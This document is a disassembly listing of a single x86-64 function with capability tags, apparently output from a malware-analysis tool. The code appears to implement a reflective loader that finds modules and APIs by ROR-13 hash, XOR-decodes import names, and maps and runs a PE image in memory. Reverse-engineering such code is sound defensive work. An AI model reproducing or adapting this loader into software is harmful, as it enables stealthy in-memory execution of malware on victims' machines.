Function at 0x180017040
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x68
xor ebx, ebx
mov r8d, ebx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0xc0], ebx
call fcn.180017630
lea ebp, [rbx + 1]
mov r14, rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x180017097
movsxd rax, dword [r14 + 0x3c]
lea rcx, [rax - 0x40]
cmp rcx, 0x3bf
ja 0x180017097
cmp dword [rax + r14], 0x4550
je 0x18001709c
sub r14, rbp
jmp 0x180017071
mov rax, qword gs:[0x60]
mov qword [rsp + 0xb8], r14
mov r12d, 0xffff
mov rdi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x20]
jmp 0x1800170f5
mov rsi, qword [rdx + 0x50]
movzx r8d, word [rdx + 0x48]
mov rcx, rbx
ror ecx, 0xd
cmp byte [rsi], 0x61
jb 0x1800170db
movzx eax, byte [rsi]
sub eax, 0x20
cdqe
jmp 0x1800170de
movzx eax, byte [rsi]
add rcx, rax
add rsi, rbp
add r8w, r12w
jne 0x1800170c9
cmp ecx, 0x6a4abc5b
je 0x1800170fc
mov rdx, qword [rdx]
test rdx, rdx
jne 0x1800170bd
jmp 0x180017100
mov rdi, qword [rdx + 0x20]
movsxd rax, dword [rdi + 0x3c]
mov r13, qword [rsp + 0xb8]
mov r15, qword [rsp + 0xb8]
mov r11d, dword [rax + rdi + 0x88]
mov r9, qword [rsp + 0xb8]
mov r10d, 6
mov esi, dword [r11 + rdi + 0x20]
mov r8d, dword [r11 + rdi + 0x24]
lea r14d, [r10 - 4]
add rsi, rdi
add r8, rdi
mov edx, dword [rsi]
mov ecx, ebx
add rdx, rdi
mov al, byte [rdx]
ror ecx, 0xd
movsx eax, al
add rdx, rbp
add ecx, eax
mov al, byte [rdx]
test al, al
jne 0x180017147
cmp ecx, 0xec0e4e8e
je 0x18001718c
cmp ecx, 0x7c0dfcaa
je 0x18001718c
cmp ecx, 0x91afca54
je 0x18001718c
cmp ecx, 0x7946c61b
je 0x18001718c
cmp ecx, 0x753a4fc
je 0x18001718c
cmp ecx, 0xd3324904
jne 0x180017213
mov eax, dword [r11 + rdi + 0x1c]
movzx edx, word [r8]
add rax, rdi
cmp ecx, 0xec0e4e8e
jne 0x1800171ad
mov eax, dword [rax + rdx*4]
add rax, rdi
mov qword [rsp + 0x50], rax
jmp 0x18001720f
cmp ecx, 0x7c0dfcaa
jne 0x1800171c9
mov r14d, dword [rax + rdx*4]
add r14, rdi
mov qword [rsp + 0x28], r14
mov r14d, 2
jmp 0x18001720f
cmp ecx, 0x91afca54
jne 0x1800171da
mov r13d, dword [rax + rdx*4]
add r13, rdi
jmp 0x18001720f
cmp ecx, 0x7946c61b
jne 0x1800171ef
mov eax, dword [rax + rdx*4]
add rax, rdi
mov qword [rsp + 0x48], rax
jmp 0x18001720f
cmp ecx, 0x753a4fc
jne 0x180017200
mov r15d, dword [rax + rdx*4]
add r15, rdi
jmp 0x18001720f
cmp ecx, 0xd3324904
jne 0x18001720f
mov r9d, dword [rax + rdx*4]
add r9, rdi
add r10w, r12w
add rsi, 4
add r8, r14
test r10w, r10w
jne 0x18001713e
mov r14, qword [rsp + 0xb8]
mov ecx, 0x8000
movsxd rbp, dword [r14 + 0x3c]
add rbp, r14
mov qword [rsp + 0x58], rbp
movzx eax, word [rbp + 0x16]
and ax, cx
neg ax
mov eax, 0x4000
sbb r12d, r12d
and r12d, 0x3c
add r12d, 4
mov dword [rsp + 0x20], r12d
test word [rbp + 0x16], ax
je 0x1800172ff
lea rcx, [r14 + 0x40]
call r9
test rax, rax
jne 0x1800172ff
lea r8d, [rax + 1]
lea rcx, [r14 + 0x40]
xor edx, edx
call r15
mov edi, 1
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800172ff
mov r15, qword [rsp + 0x28]
cmp rdi, 0x10
jae 0x1800172b2
test rbx, rbx
jne 0x1800172b7
mov rdx, rdi
mov rcx, rsi
call r15
inc rdi
mov rbx, rax
jmp 0x180017296
test rbx, rbx
je 0x1800172ff
mov edx, dword [rbp + 0x50]
mov rsi, qword [rsp + 0x48]
mov rax, rbx
and eax, 0xfff
lea r9, [rsp + 0xc8]
mov r8d, r12d
sub rbx, rax
mov rcx, rbx
call rsi
mov ecx, dword [rbp + 0x50]
xor eax, eax
mov rdi, rbx
lea r9, [rsp + 0xc8]
mov r8d, r12d
rep stosb byte [rdi], al
mov edx, dword [rbp + 0x50]
mov rcx, rbx
call rsi
xor r11d, r11d
test rbx, rbx
jne 0x180017320
mov edx, dword [rbp + 0x50]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x3000
call r13
mov ecx, dword [rbp + 0x50]
mov rdi, rax
mov rbx, rax
xor eax, eax
rep stosb byte [rdi], al
xor r11d, r11d
mov r8b, byte [rbp + 0x10]
mov r10d, dword [rbp + 0x50]
mov r13d, 1
add r10, 0xffffffffffffffc0
mov byte [rsp + 0xb8], r8b
add r10, rbx
mov qword [rsp + 0x38], r10
test r8b, r8b
je 0x18001734f
mov eax, dword [rbp + 0x38]
sub rbx, rax
jmp 0x180017370
mov ecx, dword [rbp + 0x54]
mov rdi, rbx
mov rsi, r14
rep movsb byte [rdi], byte [rsi]
test byte [rbp + 0x16], r13b
je 0x180017370
movsxd rax, dword [rbx + 0x3c]
mov dword [rax + rbx], r11d
mov word [rbx], r11w
mov dword [rbx + 0x3c], r11d
movzx edx, word [rbp + 6]
movzx eax, word [rbp + 0x14]
test rdx, rdx
je 0x1800173c6
add rax, 0x28
add rax, rbp
mov r8d, dword [rax - 4]
mov r9d, dword [rax]
mov esi, dword [rax + 4]
add r8, rbx
add rsi, r14
mov ecx, r9d
mov rdi, r8
sub rdx, r13
rep movsb byte [rdi], byte [rsi]
test dword [rax + 0x14], 0x20000000
je 0x1800173b5
mov qword [rsp + 0x40], r8
mov dword [rsp + 0xc0], r9d
add rax, 0x28
test rdx, rdx
jne 0x180017384
mov r8b, byte [rsp + 0xb8]
mov r15d, dword [rbp + 0x90]
add r15, rbx
mov qword [rsp + 0x30], r15
mov eax, dword [r15 + 0xc]
test eax, eax
je 0x1800174f9
mov rbp, r10
jmp 0x1800173ec
mov r13d, 1
mov esi, eax
mov rdi, rbp
mov ecx, 0x40
add rsi, rbx
mov rax, rbp
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x40
xor byte [rax], r8b
add rax, r13
sub rcx, r13
jne 0x180017403
mov rcx, rbp
call qword [rsp + 0x50]
mov r14d, dword [r15 + 0x10]
mov r12d, dword [r15]
add r14, rbx
xor r11d, r11d
add r12, rbx
mov r13, rax
cmp qword [r14], r11
je 0x1800174cd
mov r15, qword [rsp + 0x28]
test r12, r12
je 0x180017474
movabs rax, 0x8000000000000000
test qword [r12], rax
je 0x180017474
movsxd rax, dword [r13 + 0x3c]
movzx edx, word [r12]
mov ecx, dword [rax + r13 + 0x88]
mov eax, dword [rcx + r13 + 0x10]
mov ecx, dword [rcx + r13 + 0x1c]
add rcx, r13
sub rdx, rax
mov eax, dword [rcx + rdx*4]
add rax, r13
jmp 0x1800174af
mov rsi, qword [r14]
mov edx, 0x40
mov rdi, rbp
add rsi, 2
mov ecx, edx
mov rax, rbp
add rsi, rbx
rep movsb byte [rdi], byte [rsi]
mov ecx, edx
mov dl, byte [rsp + 0xb8]
lea edi, [rcx - 0x3f]
xor byte [rax], dl
add rax, rdi
sub rcx, rdi
jne 0x180017499
mov rdx, rbp
mov rcx, r13
call r15
xor r11d, r11d
mov qword [r14], rax
add r14, 8
test r12, r12
je 0x1800174bf
add r12, 8
cmp qword [r14], r11
jne 0x180017436
mov r15, qword [rsp + 0x30]
mov eax, dword [r15 + 0x20]
mov r8b, byte [rsp + 0xb8]
add r15, 0x14
mov qword [rsp + 0x30], r15
test eax, eax
jne 0x1800173e6
mov rbp, qword [rsp + 0x58]
mov r10, qword [rsp + 0x38]
mov r12d, dword [rsp + 0x20]
xor eax, eax
mov rdi, r10
mov r8, rbx
lea ecx, [rax + 0x40]
rep stosb byte [rdi], al
sub r8, qword [rbp + 0x30]
cmp dword [rbp + 0xb4], r11d
je 0x1800175c0
mov edi, dword [rbp + 0xb0]
add rdi, rbx
mov eax, dword [rdi + 4]
test eax, eax
je 0x1800175c0
mov r14d, 2
mov edx, dword [rdi]
mov esi, eax
lea r9, [rdi + 8]
sub rsi, 8
add rdx, rbx
shr rsi, 1
je 0x1800175af
mov r10d, 1
movzx ecx, word [r9]
sub rsi, r10
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x18001756b
and ecx, 0xfff
add qword [rcx + rdx], r8
jmp 0x1800175a7
cmp ax, 3
jne 0x18001757d
and ecx, 0xfff
add dword [rcx + rdx], r8d
jmp 0x1800175a7
cmp ax, r10w
jne 0x180017596
mov rax, r8
and ecx, 0xfff
shr rax, 0x10
add word [rcx + rdx], ax
jmp 0x1800175a7
cmp ax, r14w
jne 0x1800175a7
and ecx, 0xfff
add word [rcx + rdx], r8w
add r9, r14
test rsi, rsi
jne 0x18001754b
mov eax, dword [rdi + 4]
add rdi, rax
mov eax, dword [rdi + 4]
test eax, eax
jne 0x180017531
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x1800175f1
mov ecx, dword [rsp + 0xc0]
test ecx, ecx
je 0x1800175f1
cmp r12d, 4
jne 0x1800175f1
mov edx, ecx
lea r9, [rsp + 0xc8]
lea r8d, [r12 + 0x1c]
mov rcx, rax
call qword [rsp + 0x48]
mov eax, 0x1000
test word [rbp + 0x16], ax
je 0x180017604
mov edi, dword [rbp + 0x80]
jmp 0x180017607
mov edi, dword [rbp + 0x28]
mov r8, qword [rsp + 0xb0]
add rdi, rbx
mov edx, 1
mov rcx, rbx
call rdi
mov rax, rdi
add rsp, 0x68
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret